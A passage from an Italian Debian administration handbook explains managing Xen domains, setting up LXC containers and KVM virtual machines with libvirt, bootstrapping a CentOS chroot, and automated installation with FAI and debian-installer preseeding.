A questo punto si può aprire una sessione, proprio come si farebbe davanti alla tastiera della macchina virtuale. Lo scollegamento da questa console si ottiene con la combinazione di tasti Control+].

SUGGERIMENTO Arrivare subito alla console

Qualche volta si vuole avviare un sistema domU e arrivare subito alla sua console; per questo motivo il comando xl create accetta l'opzione -c. Avviando un domU con questa opzione verranno visualizzati tutti i messaggi durante l'avvio del sistema.

STRUMENTO Gestori grafici di Xen

OpenXenManager (nel pacchetto openxenmanager) è un'interfaccia grafica che permette il controllo remoto di domini Xen attraverso un'API di Xen, non è più fornito da Debian a causa della mancanza di sviluppo upstream. Se si sta cercando un rimpiazzo, virt-manager fornisce anch'esso supporto per gestire macchine virtuali di Xen.

Una volta che il domU è attivo, può essere usato come qualunque altro server (visto che dopo tutto è un sistema GNU/Linux). Tuttavia, il suo stato di macchina virtuale permette di sfruttare alcune funzionalità aggiuntive. Ad esempio, un domU può essere temporaneamente messo in pausa e poi fatto uscire dalla pausa con i comandi xl pause e xl unpause. Notare che, sebbene un domU in pausa non usi affatto il processore, la memoria ad esso allocata è ancora in uso. Può essere interessante considerare i comandi xl save e xl restore: salvare un domU libera le risorse precedentemente usate da questo domU, compresa la RAM. Al ripristino (o all'uscita dalla pausa, se è per quello) un domU non si accorge di alcunché al di là del passare del tempo. Se un domU era in esecuzione quando il dom0 viene spento, gli script nel pacchetto salvano automaticamente il domU e lo ripristinano all'avvio successivo. Questo ovviamente comporterà i consueti inconvenienti che si riscontrano quando si iberna un computer portatile, per esempio; in particolare, se il domU viene sospeso per troppo tempo, le connessioni di rete possono scadere. Notare inoltre che a tutt'oggi Xen è incompatibile con gran parte della gestione energetica ACPI, il che impedisce di sospendere il sistema host (dom0).

Si può arrestare o riavviare un domU da dentro il domU (con il comando shutdown) o dal dom0, con xm shutdown o xl reboot.

La maggior parte dei sottocomandi di xl richiedono uno o più argomenti, spesso il nome di un domU. Questi argomenti sono ben descritti nella magina di manuale xl(1).

APPROFONDIMENTO Xen avanzato

Xen ha molte più funzionalità di quanto si possa descrivere in questi pochi paragrafi. In particolare, il sistema è molto dinamico e molti parametri di un dominio (come la quantità di memoria allocata, i dischi fissi visibili, il comportamento dello schedulatore di attività e così via) possono essere regolati anche quando quel dominio è in esecuzione. Un domU può anche essere migrato su un altro server senza venire spento e senza perdere le sue connessioni di rete! Per tutti questi aspetti avanzati, la fonte primaria di informazioni è la documentazione ufficiale di Xen.

→ https://xenproject.org/help/documentation/

12.2.2. LXC

Anche se è usato per costruire "macchine virtuali", LXC non è, propriamente, un sistema di virtualizzazione, ma un sistema per isolare gruppi di processi l'uno dall'altro pur girando tutti sullo stesso host. Sfrutta alcune evoluzioni recenti nel kernel Linux, comunemente note come gruppi di controllo, con cui diversi insiemi di processi chiamati "gruppi" hanno visioni diverse di certi aspetti del sistema globale. Fra questi aspetti, i più importanti sono gli identificatori dei processi, la configurazione di rete e i punti di mount. Tale gruppo di processi isolati non avrà accesso agli altri processi nel sistema, ed i suoi accessi al file system possono essere ristretti a uno specifico sottoinsieme. Può anche avere la propria interfaccia di rete e la propria tabella di routing e può essere configurato per vedere solo un sottoinsieme dei dispositivi disponibili presenti sul sistema.

Queste funzionalità possono essere combinate per isolare un'intera famiglia di processi a partire dal processo init, e l'insieme che ne risulta è molto simile ad una macchina virtuale. Il nome ufficiale per una impostazione come questa è "contenitore" (da cui il nomignolo LXC: LinuX Containers), ma una differenza piuttosto importante rispetto alle "vere" macchine virtuali come quelle fornite da Xen o KVM è che non c'è un secondo kernel; il contenitore usa lo stesso kernel del sistema host. Questo ha sia dei pro che dei contro: fra i vantaggi ci sono prestazioni eccellenti data la totale assenza di carico aggiuntivo e il fatto che il kernel ha una visione globale di tutti i processi che girano sul sistema, quindi la schedulazione può essere più efficiente rispetto al caso in cui due kernel indipendenti dovessero schedulare diversi insiemi di attività. Il principale svantaggio è l'impossibilità di far girare un diverso kernel in un contenitore (sia una diversa versione di Linux sia un sistema operativo del tutto diverso).

NOTA Limiti di isolamento di LXC

I contenitori LXC non forniscono il livello di isolamento raggiunto da emulatori o virtualizzatori più pesanti. In particolare:

poiché il kernel è condiviso fra il sistema host e i contenitori, i processi limitati ai contenitori possono ancora accedere ai messaggi del kernel, il che può portare a fughe di informazioni se i messaggi sono emessi da un contenitore;

per ragioni simili, se un contenitore è compromesso e viene sfruttata una vulnerabilità del kernel, gli altri contenitori possono anch'essi esserne affetti;

sul file system, il kernel controlla i permessi in base agli identificativi numerici per utenti e gruppi; questi identificativi possono designare utenti e gruppi diversi a seconda del contenitore, cosa di cui tener conto se si condividono parti scrivibili del file system fra i contenitori.

Poiché si parla di isolamento e non di virtualizzazione vera e propria, impostare i contenitori LXC è più complesso che far girare debian-installer su una macchina virtuale. Verranno descritti alcuni prerequisiti, e poi si passerà alla configurazione di rete; a questo punto si potrà effettivamente creare il sistema da far girare nel contenitore.

12.2.2.1. Passi preliminari

Il pacchetto lxc contiene gli strumenti necessari per far girare LXC e quindi deve essere installato.

LXC richiede anche il sistema di configurazione dei gruppi di controllo, che è un file system virtuale da montare su /sys/fs/cgroup. Dal momento che Debian 8 è passata a systemd, che si basa anche su gruppi di controllo, questo ora è fatto automaticamente al boot senza ulteriori configurazioni.

12.2.2.2. Configurazione di rete

Lo scopo dell'installazione di LXC è di impostare delle macchine virtuali; pur potendo, ovviamente, tenerle isolate dalla rete e comunicare con loro solo tramite il file system, la maggior parte dei casi d'uso richiede di dare almeno un minimo accesso di rete ai contenitori. Nel caso tipico, ciascun contenitore avrà un'interfaccia di rete virtuale, connessa con la rete reale tramite un bridge. Questa interfaccia virtuale può essere inserita direttamente sull'interfaccia fisica di rete dell'host (nel qual caso il contenitore è direttamente in rete) o su un'altra interfaccia virtuale definita sull'host (e l'host può allora filtrare o ridirigere il traffico). In entrambi i casi, sarà necessario il pacchetto bridge-utils.

Nel caso più semplice richiede solo di modificare /etc/network/interfaces, spostando la configurazione dell'interfaccia fisica (per esempio eth0 o enp1s0) su un'interfaccia bridge (di solito br0) e configurare il collegamento fra di loro. Per esempio, se il file di configurazione dell'interfaccia di rete contiene inizialmente voci come le seguenti:

auto eth0 iface eth0 inet dhcp

Devono essere disabilitate e sostituite con le seguenti:

auto br0 iface br0 inet dhcp bridge-ports eth0

L'effetto di questa configurazione sarà simile a ciò che si otterrebbe se i contenitori fossero macchine collegate alla stessa rete fisica dell'host. La configurazione "bridge" gestisce il transito dei frame Ethernet fra tutte le interfacce in bridge, il che include la eth0 fisica oltre alle interfacce definite per i contenitori.

Nei casi in cui questa configurazione non si può usare (per esempio, se non si possono assegnare IP pubblici ai contenitori), un'interfaccia virtuale tap verrà creata e connessa al bridge. A quel punto la topologia di rete equivalente diventa quella di un host con una seconda scheda di rete inserita in uno switch separato, con i contenitori anch'essi inseriti in quello switch. L'host allora deve agire da gateway per i contenitori se questi devono comunicare con il mondo esterno.

Oltre a bridge-utils, questa configurazione "ricca" richiede il pacchetto vde2; il file /etc/network/interfaces allora diventa:

# l'interfaccia eth0 è invariata auto eth0 iface eth0 inet dhcp # interfaccia virtuale auto tap0 iface tap0 inet manual vde2-switch -t tap0 # Bridge per i contenitori auto br0 iface br0 inet static bridge-ports tap0 address 10.0.0.1 netmask 255.255.255.0

La rete allora può essere impostata staticamente nei contenitori o dinamicamente con un server DHCP che gira sull'host. Tale server DHCP dovrà essere configurato per rispondere alle richieste sull'interfaccia br0.

12.2.2.3. Impostazione del sistema

Ora si imposta il file system che il contenitore dovrà usare. Poiché questa "macchina virtuale" non girerà direttamente sull'hardware, servono alcuni accorgimenti rispetto a un file system standard, in particolare riguardo al kernel, i dispositivi e le console. Per fortuna, il pacchetto lxc include degli script che automatizzano gran parte di questa configurazione. Per esempio, i seguenti comandi (che richiedono i pacchetti debootstrap e rsync) installeranno un contenitore Debian:

# lxc-create -n testlxc -t debian debootstrap is /usr/sbin/debootstrap Checking cache download in /var/cache/lxc/debian/rootfs-stable-amd64 ... Downloading debian minimal ... I: Retrieving Release I: Retrieving Release.gpg [...] Download complete. Copying rootfs to /var/lib/lxc/testlxc/rootfs... [...] #

Notare che il file system è creato all'inizio in /var/cache/lxc e poi spostato nella sua directory di destinazione. Ciò permette di creare contenitori identici molto più rapidamente, visto che a questo punto basta copiarli.

Da notare che lo script per la creazione dei modelli Debian accetta l'opzione --arch per specificare l'architettura del sistema da installare ed un'opzione --release se si vuole installare qualcos'altro rispetto all'attuale versione stabile di Debian. È anche possibile impostare la variabile d'ambiente MIRROR per puntare ad un mirror locale di Debian.

Il pacchetto lxc crea inoltre un'interfaccia bridge lxcbr0, che viene usata, in modo predefinito, da tutti i nuovi contenitori creati tramite /etc/lxc/default.conf e il servizio lxc-net:

lxc.net.0.type = veth lxc.net.0.link = lxcbr0 lxc.net.0.flags = up

Queste voci vogliono dire, rispettivamente, che verrà creata un'interfaccia virtuale in ogni nuovo contenitore; che verrà automaticamente attivata quando il suddetto contenitore verrà avviato; e che verrà automaticamente connessa al bridge lxcbr0 sull'host. Queste impostazioni sono presenti nella configurazione del contenitore creato (/var/lib/lxc/testlxc/config), anche l'indirizzo MAC del dispositivo sarà contenuto in lxc.net.0.hwaddr. Se quest'ultima voce fosse assente o disabilitata, verrà generato un indirizzo MAC casuale.

Un'altra voce di utile in quel file è l'impostazione del nome host:

lxc.uts.name = testlxc

Il nuovo file system creato ora contiene un sistema Debian minimale e un'interfaccia di rete.

12.2.2.4. Avvio del contenitore

Ora che l'immagine della macchina virtuale è pronta, si avvia il contenitore con lxc-start --name=testlxc.

Nelle versioni di LXC successive alla 2.0.8 non vi è un'impostazione predefinita della password di root. Se si vuole è possibile impostarla eseguendo lxc-attach -n testlxc passwd. È possibile accedere con:

# lxc-console -n testlxc Connected to tty 1 Type <Ctrl+a q> to exit the console, <Ctrl+a Ctrl+a> to enter Ctrl+a itself Debian GNU/Linux 11 testlxc tty1 testlxc login: root Password: Linux testlxc 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Mar 9 01:45:21 UTC 2022 on console root@testlxc:~# ps auxwf USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.2 18964 11464 ? Ss 01:36 0:00 /sbin/init root 45 0.0 0.2 31940 10396 ? Ss 01:37 0:00 /lib/systemd/systemd-journald root 71 0.0 0.1 99800 5724 ? Ssl 01:37 0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid [..] root 97 0.0 0.1 13276 6980 ? Ss 01:37 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups root 160 0.0 0.0 6276 3928 pts/0 Ss 01:46 0:00 /bin/login -p -- root 169 0.0 0.0 7100 3824 pts/0 S 01:51 0:00 \_ -bash root 172 0.0 0.0 9672 3348 pts/0 R+ 01:51 0:00 \_ ps auxwf root 164 0.0 0.0 5416 2128 pts/1 Ss+ 01:49 0:00 /sbin/agetty -o -p -- \u --noclear [...] root@testlxc:~#

Ora ci si trova nel contenitore; l'accesso ai processi è ristretto solo a quelli avviati dal contenitore stesso e l'accesso al file system è analogamente ristretto al sottoinsieme dedicato del file system completo (/var/lib/lxc/testlxc/rootfs). Si può uscire dalla console con Control+a q.

Da notare che il contenitore è stato eseguito come processo in background, grazie all'avvio di lxc-start che usa in modo predefinito l'opzione --daemon. Si può interrompere l'esecuzione del contenitore con un comando del tipo lxc-stop --name=testlxc.

Il pacchetto lxc contiene uno script di inizializzazione che può avviare automaticamente uno o più contenitori quando si avvia l'host (si basa su lxc-autostart che avvia i contenitori che hanno l'opzione lxc.start.auto impostata a 1). Un controllo più dettagliato dell'ordine di avvio è possibile con lxc.start.order e lxc.group: per impostazione predefinita, lo script di inizializzazione avvia prima i contenitori che fanno parte del gruppo onboot e poi i contenitori che non fanno parte di alcun gruppo. In entrambi i casi, l'ordine all'interno di un gruppo è definito dall'opzione lxc.start.order.

APPROFONDIMENTO Virtualizzazione di massa

Poiché LXC è un sistema di isolamento molto leggero, si può adattare in particolare all'hosting massiccio di server virtuali. La configurazione di rete probabilmente sarà un po' più avanzata di quella descritta sopra, ma la configurazione "ricca" che usa le interfacce tap e veth dovrebbe bastare in molti casi.

Può anche avere senso condividere parte del file system, come le subdirectory /usr e /lib, così da evitare di duplicare software che dovrebbe essere in comune a diversi contenitori. Questo di solito si può fare aggiungendo delle voci lxc.mount.entry nei file di configurazione dei contenitori. Un effetto collaterale interessante è che in questo caso i processi useranno meno memoria fisica, dal momento che il kernel può rilevare che i programmi sono condivisi. Il costo marginale di un contenitore in più può, quindi, essere ridotto allo spazio su disco dedicato ai suoi dati specifici ed alcuni processi aggiuntivi che il kernel deve ordinare e gestire.

Ovviamente non si sono descritte tutte le opzioni disponibili; informazioni più complete si possono ottenere dalle pagine di manuale lxc(7) e lxc.container.conf(5) e da quelle a cui esse puntano.

12.2.3. KVM

KVM, che sta per Kernel-based Virtual Machine (Macchina Virtuale basata su Kernel), è prima di tutto un modulo del kernel che fornisce la maggior parte dell'infrastruttura che può essere usata da un virtualizzatore, ma di per sé non è un virtualizzatore. Il controllo effettivo della virtualizzazione è gestito da un'applicazione basata su QEMU. Non c'è da preoccuparsi se questa sezione menziona comandi qemu-*: si parla comunque di KVM.

Contrariamente ad altri sistemi di virtualizzazione, KVM è stato incluso nel kernel Linux fin dall'inizio.I suoi sviluppatori hanno scelto di sfruttare le istruzioni dei processori dedicate alla virtualizzazione (Intel-VT e AMD-V), cosa che mantiene KVM leggero, elegante e parco di risorse. Il rovescio della medaglia, ovviamente, è che KVM non funziona su tutti i computer ma solo su quelli con procesori adatti. Per i computer x86-based, è possibile verificare di avere un tale processore cercando vmx” o “svm” tra i flag della CPU elencati in /proc/cpuinfo.

Con il supporto attivo al suo sviluppo da parte di Red Hat, KVM sembra destinato a diventare il punto di riferimento per la virtualizzazione in Linux.

12.2.3.1. Passi preliminari

Contrariamente a strumenti come VirtualBox, KVM di per sé non include nessuna interfaccia utente per creare e gestire macchine virtuali. Il pacchetto virtuale qemu-kvm fornisce solo un eseguibile in grado di avviare una macchina virtuale, oltre a uno script di inizializzazione che carica i moduli appropriati del kernel.

Per fortuna, Red Hat fornisce anche un altro insieme di strumenti per affrontare questo problema, sviluppando la libreria libvirt e gli strumenti virtual machine manager associati. libvirt permette di gestire macchine virtuali in modo uniforme, indipendentemente dal sistema di virtualizzazione dietro le quinte (attualmente supporta QEMU, KVM, Xen, LXC, OpenVZ, VirtualBox, VMWare e UML). virt-manager è un'interfaccia grafica che usa libvirt per creare e gestire macchine virtuali.

Prima di tutto si installano i pacchetti richiesti, con apt-get install libvirt-clients libvirt-daemon-system qemu-kvm virtinst virt-manager virt-viewer. libvirt-daemon-system fornisce il demone libvirtd, che permette di gestire (potenzialmente da remoto) le macchine virtuali che girano sull'host e fa partire le VM richieste all'avvio dell'host. libvirt-clients fornisce lo strumento a riga di comando virsh, che permette di controllare le macchine gestite da libvirtd.

Il pacchetto virtinst fornisce virt-install, che permette di creare macchine virtuali da riga di comando. Infine, virt-viewer permette di accedere alla console grafica di una VM.

12.2.3.2. Configurazione di rete

Proprio come in Xen e LXC, la configurazione di rete più frequente richiede un bridge che raggruppa le interfacce di rete delle macchine virtuali (vedere Sezione 12.2.2.2, «Configurazione di rete»).

In alternativa e nella configurazione predefinita fornita da KVM, alla macchina virtuale è assegnato un indirizzo privato (nell'intervallo 192.168.122.0/24) e viene impostato il NAT cosicché la VM possa accedere alla rete esterna.

Il resto di questa sezione assume che l'host abbia un'interfaccia fisica eth0 e un bridge br0 e che la prima sia connessa al secondo.

12.2.3.3. Installazione con virt-install

Creare una macchina virtuale è molto simile a installare un sistema normale, tranne che le caratteristiche della macchina virtuale sono descritte da una riga di comando che sembra infinita.

In pratica, questo vuol dire che si userà l'installer Debian, avviando la macchina virtuale su un lettore DVD-ROM virtuale che viene mappato su un'immagine DVD di Debian memorizzata sul sistema host. La VM esporterà la sua console grafica sul protocollo VNC (vedere Sezione 9.2.2, «Utilizzo di desktop remoti grafici» per i dettagli), il che consentirà di controllare il processo di installazione.

Innanzitutto bisogna indicare a libvirtd dove memorizzare le immagini dei dischi, se non va bene la posizione predefinita (/var/lib/libvirt/images/).

# mkdir /srv/kvm # virsh pool-create-as srv-kvm dir --target /srv/kvm Pool srv-kvm created #

SUGGERIMENTO Aggiungi il tuo utente al gruppo libvirt

Tutti gli esempi in questa sezione presuppongono che si eseguano i comandi come root. In effetti, se si desidera controllare un demone libvirt locale, è necessario essere o root o membro del gruppo libvirt (che non è il caso di default). Pertanto, se si vuole evitare di usare i privilegi di root troppo spesso, è possibile aggiungere se stessi al gruppo libvirt ed eseguire i vari comandi con il proprio utente.

Si avvia il processo di installazione per la macchina virtuale e si guardano più da vicino le opzioni più importanti di virt-install. Questo comando registra la macchina virtuale e i suoi parametri in libvirtd, quindi la avvia cosicché la sua installazione può procedere.

# virt-install --connect qemu:///system --virt-type kvm --name testkvm --memory 2048 --disk /srv/kvm/testkvm.qcow,format=qcow2,size=10 --cdrom /srv/isos/debian-11.2.0-amd64-netinst.iso --network bridge=virbr0 --graphics vnc --os-type linux --os-variant debiantesting Starting install... Allocating 'testkvm.qcow'

L'opzione --connect specifica quale "hypervisor" usare. La sua forma è quella di un URL contenente un sistema di virtualizzazione (xen://, qemu://, lxc://, openvz://, vbox:// e così via) e la macchina che deve ospitare la VM (questo può essere lasciato vuoto nel caso dell'host locale). Inoltre e nel caso di QEMU/KVM ciascun utente può gestire macchine virtuali che funzionano con permessi ristretti e il percorso nell'URL permette di differenziare le macchine "di sistema" (/system) dalle altre (/session).

Poiché KVM è gestito allo stesso modo di QEMU, --virt-type kvm permette di specificare l'uso di KVM anche se l'URL sembra quello di QEMU.

L'opzione --name definisce un nome (unico) per la macchina virtuale.

L'opzione --memory permette di specificare la quantità di RAM (in MB) da allocare per la macchina virtuale.

--disk specifica la posizione del file immagine che deve rappresentare il disco fisso della macchina virtuale; quel file è creato, se non presente, con una dimensione (in GB) specificata dal parametro size. Il parametro format permette di scegliere fra vari modi di memorizzare il file immagine. Il formato predefinito (qcow2) permette di iniziare con un file piccolo che cresce solo quando la macchina virtuale comincia effettivamente ad usare spazio.

L'opzione --cdrom è usata per indicare dove trovare il disco ottico da usare per l'installazione. Il percorso può essere un percorso locale di un file ISO, un URL dove reperire il file o il device di un lettore CD-ROM fisico (es. /dev/cdrom).

--network specifica come la scheda di rete virtuale si integra nella configurazione di rete dell'host. Il comportamento predefinito (che in questo esempio è esplicitamente forzato) è di integrarla in un qualunque bridge di rete preesistente. Se non esiste un tale bridge, la macchina virtuale raggiungerà la rete fisica solo tramite NAT, quindi riceve un indirizzo in un intervallo di una sottorete privata (192.168.122.0/24).

La configurazione di rete predefinita, che contiene la definizione per un'interfaccia bridge virbr0, può essere modificata con virsh net-edit default e avviata con virsh net-start default se non è già stata eseguita automaticamente durante l'avvio del sistema.

--graphics vnc indica che la console grafica deve essere resa disponibile tramite VNC. Il comportamento predefinito per il server VNC associato è di soltanto restare in ascolto sull'interfaccia locale; se il client VNC deve girare su un host diverso, si dovrà impostare un tunnel SSH per stabilire la connessione (vedere Sezione 9.2.1.4, «Creazione di tunnel cifrati con il port forwarding»). In alternativa, si può usare --graphics vnc,listen=0.0.0.0 in modo che il server VNC sia accessibile da tutte le interfacce; notare che in questo caso, sarebbe veramente necessario configurare un firewall di conseguenza.

Le opzioni --os-type e --os-variant permettono di ottimizzare alcuni parametri della macchina virtuale, basandosi su alcune delle funzionalità note del sistema operativo lì menzionato.

L'elenco completo dei tipi di sistema operativo (OS - Operative System) può essere visualizzato usando il comando osinfo-query os presente nel pacchetto libosinfo-bin.

A questo punto la macchina virtuale è in esecuzione e bisogna connettersi alla console grafica per procedere con il processo di installazione. Se la precedente operazione è stata lanciata da un ambiente desktop grafico, questa connessione dovrebbe essere avviata automaticamente. In caso contrario, o in caso si operi da remoto, si può eseguire virt-viewer da qualunque ambiente grafico per aprire la console grafica (notare che la password di root dell'host remoto viene chiesta due volte perché l'operazione richiede 2 connessioni SSH):

$ virt-viewer --connect qemu+ssh://root@server/system testkvm root@server's password: root@server's password:

Figura 12.1. Connessione alla sessione di installazione mediante virt-viewer

Al termine del processo di installazione, la macchina virtuale viene riavviata ed è ora pronta all'uso.

12.2.3.4. Gestire macchine con virsh

Ora che l'installazione è terminata, si passa a come gestire le macchine virtuali disponibili. La prima cosa da provare è chiedere a libvirtd la lista delle macchine virtuali che gestisce:

# virsh -c qemu:///system list --all Id Name State ---------------------------------- 8 testkvm shut off

Si avvia la macchina virtuale di prova:

# virsh -c qemu:///system start testkvm Domain testkvm started

Si possono ora ottenere le istruzioni per connettersi alla console grafica (il display VNC restituito può essere passato come parametro a vncviewer):

# virsh -c qemu:///system vncdisplay testkvm 127.0.0.1:0

Altri sottocomandi disponibili di virsh includono:

reboot per riavviare una macchina virtuale;

shutdown per provocare uno spegnimento pulito;

destroy per fermarla brutalmente;

suspend per metterla in pausa;

resume per farla uscire dalla pausa;

autostart per abilitare (o disabilitare, con l'opzione --disable) l'avvio automatico della macchina virtuale all'avvio dell'host;

undefine per rimuovere ogni traccia della macchina virtuale da libvirtd.

Tutti questi sottocomandi accettano un identificatore di macchina virtuale come parametro.

Installazione in Debian di un chroot basato su RPM usando yum

Se un chroot deve eseguire Debian (o una delle sue derivate), il sistema può essere inizializzato con debootstrap. Ma se deve essere installato con un sistema basato su RPM (come Fedora, CentOS o Scientific Linux), la configurazione dovrà essere effettuata utilizzando l'utilità yum, disponibile come yum4 nel pacchetto nextgen-yum4, poiché il programma originale è stato rimosso da Debian prima del rilascio di Bullseye perché non mantenuto, superato e obsoleto da dnf.

La procedura richiede l'uso di rpm per estrarre un set iniziale di file, tra cui in particolare i file di configurazione di yum, e quindi di eseguire yum4 per estrarre il rimanente gruppo di pacchetti. Ma dal momento che viene eseguito yum4 da fuori dalla chroot, si ha bisogno di fare alcune modifiche temporanee. Nell'esempio sottostante, la destinazione del chroot è /srv/centos.

# rootdir="/srv/centos" # mkdir -p "$rootdir" /etc/rpm # echo "%_dbpath /var/lib/rpm" > /etc/rpm/macros.dbpath # wget http://mirror.centos.org/centos/7/os/x86_64/Packages/centos-release-7-9.2009.0.el7.centos.x86_64.rpm # rpm --nodeps --root "$rootdir" -i centos-release-7-9.2009.0.el7.centos.x86_64.rpm rpm: RPM should not be used directly install RPM packages, use Alien instead! rpm: However assuming you know what you are doing... warning: centos-release-7-9.2009.0.el7.centos.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID f4a80eb5: NOKEY # sed -i -e "s,gpgkey=file:///etc/,gpgkey=file://${rootdir}/etc/,g" $rootdir/etc/yum.repos.d/*.repo # yum4 --assumeyes --installroot $rootdir groupinstall core [...] # sed -i -e "s,gpgkey=file://${rootdir}/etc/,gpgkey=file:///etc/,g" $rootdir/etc/yum.repos.d/*.repo # chroot /srv/centos/ [root@testsystem /]#

12.3. Installazione automatica

Gli amministratori della Falcot Corp, come molti amministratori di grandi servizi IT, hanno bisogno di strumenti per installare (o reinstallare) rapidamente e se possibile automaticamente le loro nuove macchine.

Questi requisiti possono essere soddisfatti da una vasta gamma di soluzioni. Da un lato, strumenti generici come SystemImager gestiscono il compito creando un'immagine basata su una macchina modello, quindi allestiscono quell'immagine sui sistemi destinazione; dall'altro lato dello spettro, l'installatore standard di Debian può essere preimpostato con un file di configurazione che dà le risposte alle domande poste durante il processo di installazione. A metà strada, uno strumento ibrido come FAI (Fully Automatic Installer) installa le macchine usando il sistema di pacchettizzazione, ma usa anche la propria infrastruttura per compiti più specifici su allestimenti di massa (come avviare, partizionare, configurare e così via).

Ciascuna di queste soluzioni ha i suoi pro e contro: SystemImager funziona indipendentemente da qualunque particolare sistema di pacchettizzazione, il che gli permette di gestire grandi gruppi di macchine che usano più distribuzioni distinte di Linux. Inoltre include un sistema di aggiornamento che non richiede di reinstallare, ma questo sistema di aggiornamento è affidabile solo se le macchine non sono state modificate in modo indipendente; in altre parole, l'utente non deve aggiornare o installare alcun software da solo. In modo simile, gli aggiornamenti di sicurezza non devono essere automatizzati, perché devono passare dall'immagine centralizzata di riferimento mantenuta da SystemImager. Questa soluzione richiede inoltre che le macchine destinazione siano omogenee, altrimenti si dovrebbero mantenere e gestire molte immagini differenti (un'immagine amd64 non sarebbe adatta su una macchina powerpc e così via).

D'altro canto, un'installazione automatica usando debian-installer può adattarsi alle specifiche di ciascuna macchina: l'installatore preleverà il kernel e i pacchetti software appropriati dai relativi archivi, rileverà l'hardware disponibile, partizionerà l'intero disco fisso per sfruttare tutto lo spazio disponibile, installerà il sistema Debian corrispondente, e imposterà un bootloader appropriato. Tuttavia, l'installatore standard installerà solo versioni standard di Debian, con il sistema base e un insieme di "task" preselezionati; questo impedisce di installare un sistema particolare con applicazioni non pacchettizzate. Per soddisfare questa esigenza particolare è necessario personalizzare l'installatore… Fortunatamente, l'installatore è molto modulare ed esistono strumenti per automatizzare la maggior parte del lavoro richiesto per questa personalizzazione, il più importante dei quali è simple-cdd (CDD è un acronimo di Custom Debian Derivatives). Anche questa soluzione, tuttavia, gestisce solo le installazioni iniziali; ciò di solito non è un problema dal momento che gli strumenti APT permettono in seguito una efficiente distribuzione degli aggiornamenti.

Si illustrerà solo una panoramica approssimativa di FAI e si tralascerà del tutto SystemImager (che non è più in Debian, ma è disponibile come pacchetto di terze parti), per focalizzarsi maggiormente su debian-installer e simple-cdd, che sono più interessanti in un contesto unicamente Debian.

12.3.1. Fully Automatic Installer (FAI)

Fully Automatic Installer è probabilmente il più vecchio sistema di allestimento automatico per Debian, il che spiega il suo status di punto di riferimento; ma la sua natura molto flessibile compensa appena la complessità che esso comporta.

FAI richiede un sistema server per memorizzare le informazioni sull'allestimento e permettere alle macchine destinazione di avviarsi dalla rete. Questo server richiede il pacchetto fai-server (o fai-quickstart, che fornisce anch'esso gli elementi richiesti per una configurazione standard).

FAI usa un approccio specifico per definire i vari profili installabili. Invece di duplicare semplicemente un'installazione di riferimento, FAI è un installatore completo di tutto punto, interamente configurabile tramite un insieme di file e script memorizzati sul server; la posizione predefinita /srv/fai/config/ presente in /etc/fai/nfsroot.conf non è creata automaticamente, quindi l'amministratore deve crearla insieme con i relativi file. Il più delle volte questi file saranno personalizzati a partire dai file di esempio disponibili nella documentazione del pacchetto fai-doc, più in particolare la directory /usr/share/doc/fai-doc/examples/simple/.

Una volta definiti i profili, il comando fai-setup genera gli elementi richiesti per avviare un'installazione FAI; questo vuol dire perlopiù preparare o aggiornare un sistema minimale (NFS-root) usato durante l'installazione. Un'alternativa è generare un CD di avvio dedicato con fai-cd.

La creazione di tutti questi file di configurazione richiede una certa comprensione di come funziona FAI. Un tipico processo di installazione è composto dai seguenti passi:

prelevare un kernel dalla rete e avviarlo;

montare il file system di root da NFS;

eseguire /usr/sbin/fai, che controlla il resto del processo (i passi successivi sono quindi iniziati da questo script);

copiare lo spazio di configurazione dal server su /fai/;

eseguire fai-class. Gli script /fai/class/[0-9][0-9]* sono eseguiti in successione e restituiscono nomi di "classi" che si applicano alla macchina che viene installata; questa informazione servirà come base per i passi successivi. Ciò permette una certa flessibilità nel definire i servizi da installare e configurare.

prelevare un certo numero di variabili di configurazione, a seconda delle relative classi;

partizionare i dischi e formattare le partizioni, in base alle informazioni fornite in /fai/disk_config/classe;

montare le suddette partizioni;

installare il sistema di base;

preimpostare il database di Debconf con fai-debconf;

prelevare la lista dei pacchetti disponibili per APT;

installare i pacchetti elencati in /fai/package_config/classe;

eseguire gli script di post-configurazione, /fai/scripts/classe/[0-9][0-9]*;

registrare i log di installazione, smontare le partizioni e riavviare.

12.3.2. Preimpostare Debian-Installer

A conti fatti, il miglior strumento per installare i sistemi Debian dovrebbe logicamente essere l'installatore ufficiale Debian. Per questo, fin dalla sua nascita, debian-installer è stato progettato per un uso automatizzato, sfruttando l'infrastruttura fornita da debconf. Quest'ultimo permette da un lato di ridurre il numero delle domande poste (le domande nascoste useranno la risposta predefinita) e dall'altro di fornire le risposte predefinite separatamente, cosicché l'installazione possa essere non interattiva. Quest'ultima funzionalità è nota come preimpostazione.

APPROFONDIMENTO Debconf con un database centralizzato

Preimpostare significa fornire un insieme di risposte alle domande di Debconf al momento dell'installazione, ma queste risposte sono statiche e non evolvono col passare del tempo. Poiché macchine già installate possono richiedere degli aggiornamenti e possono essere necessarie nuove risposte, il file di configurazione /etc/debconf.conf può essere impostato in modo che Debconf usi fonti esterne di dati (come un server di directory LDAP o un file remoto montato via NFS o Samba). Si possono definire contemporaneamente più fonti esterne di dati e queste si completano a vicenda. Il database locale è ancora usato (per un accesso in lettura e scrittura), ma i database remoti sono di solito ristretti alla lettura. La pagina di manuale debconf.conf(5) descrive in dettaglio tutte le possibilità (c'è bisogno del pacchetto debconf-doc).

12.3.2.1. Usare un file di preimpostazione

Ci sono diversi posti da cui l'installatore può ottenere un file di preimpostazione:

nell'initrd usato per avviare la macchina; in questo caso, la preimpostazione avviene proprio all'inizio dell'installazione e si possono evitare tutte le domande. Il file deve solo essere chiamato preseed.cfg e memorizzato nella root dell'initrd.

sul supporto di avvio (CD o chiave USB); la preimpostazione in questo caso avviene appena il supporto viene montato, ossia subito dopo le domande su lingua e impostazione di tastiera. Si può usare il parametro di avvio preseed/file per indicare la posizione del file di preimpostazione (per esempio, /cdrom/preseed.cfg quando l'installazione viene fatta da CD-ROM o /hd-media/preseed.cfg nel caso di una chiave USB).

